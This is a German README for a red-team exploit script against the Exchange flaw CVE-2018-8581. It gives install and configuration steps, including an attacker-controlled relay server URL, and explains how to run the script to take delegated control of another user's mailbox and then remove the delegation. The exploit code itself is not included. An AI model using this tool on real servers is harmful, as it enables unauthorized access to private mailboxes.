
CVE-2018-8581 | Microsoft Exchange Server Sicherheitslücke bezüglich der Erhöhung von Berechtigungen
Hierbei handelt es sich um eine horizontale Eskalation und Privilegienausweitung auf Postfachebene.
Mit einem normalen E-Mail-Konto mit Passwort kann eine delegierte Übernahme des Posteingangs anderer Benutzer (einschließlich Domänenadministratoren) durchgeführt werden.
Dieses EXP-Skript ist eine verbesserte Ein-Klick-Version, die auf dem Original PoC basiert. Nach Konfiguration der relevanten Parameter wird das Hinzufügen und Entfernen von Delegierungen für das Zielpostfach automatisch durchgeführt, um Sicherheitsabteilungen und Red Teams die Möglichkeit zu geben, einen simulierten Angriff auf ein autorisiertes Unternehmen durchzuführen.
Das ursprüngliche PoC bestand aus zwei Skripten, die zusammen das Hinzufügen von Posteingangsregeln ermöglichten. Dies war in der praktischen Arbeit eines Red Teams nicht sehr nützlich. Darüber hinaus war für das ursprüngliche PoC zusätzlich zur E-Mail-Adresse auch die SID des Zielbenutzers erforderlich. Die in dem Artikel beschriebene Methode zum Abrufen der Benutzer-SID konnte ich in meiner tatsächlichen Umgebung mit Exchange Server 2010 und 2013 nicht reproduzieren (2010 hatte keine entsprechenden Optionen, 2013 zeigte keine Berechtigung an). Letztendlich verfolgte ich den Ansatz, zuerst eine umgekehrte Delegierung durchzuführen, um die SID des Zielbenutzers zu erhalten, und dann die Delegierung zu entfernen.
Installiere python-ntlm
pip install python-ntlm
Konfiguriere die entsprechenden Parameter im folgenden Code des Skripts:
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
Führe das Skript aus, trinke einen Schluck Goji-Tee und warte eine Minute.
![]()
Zu diesem Zeitpunkt wurde das Postfach von TARGET_EMAIL erfolgreich an CONTROLLED_EMAIL delegiert.
Öffne das Postfach des Zielbenutzers in OWA oder Outlook.
img2
Setze FLAG auf 0, führe das Skript erneut aus, trinke noch einen Schluck Goji-Tee, warte eine weitere Minute und die zuvor hinzugefügte Delegierung wird entfernt.
img3
Es besteht kein Zugriff mehr.
Python 2.7.14
Exchange Server 2010 (relativ stabil, Tests mit Exchange Server 2010 grundsätzlich erfolgreich)
Exchange Server 2013 (Umgebungsabhängig, kann fehlschlagen)
Exchange Server 2016 (Umgebungsabhängig, kann fehlschlagen)
Weitere EWS SOAP API-Anfragen können in der Funktion make_relay_body() geändert werden.
Bei weiteren Experimenten zur Ausnutzung von Net-NTLM-Hashes für Relay-Angriffe auf andere Hosts ohne SMB-Signatur wurde festgestellt, dass die erhaltenen Hashes alle von ExchangeServer stammten. Vielleicht könnte man damit bei deaktivierter SMB-Signatur einen protokollübergreifenden Relay-Angriff auf den ExchangeServer durchführen, aber diese Situation tritt praktisch kaum auf.
Das Skript dient ausschließlich zu Lern- und Kommunikationszwecken. Der Benutzer wird gebeten, die geltenden Gesetze der jeweiligen Region einzuhalten. Der Autor übernimmt keinerlei rechtliche Verantwortung für eine anderweitige Nutzung. Durch Herunterladen und Verwenden stimmt der Benutzer den obigen Punkten zu.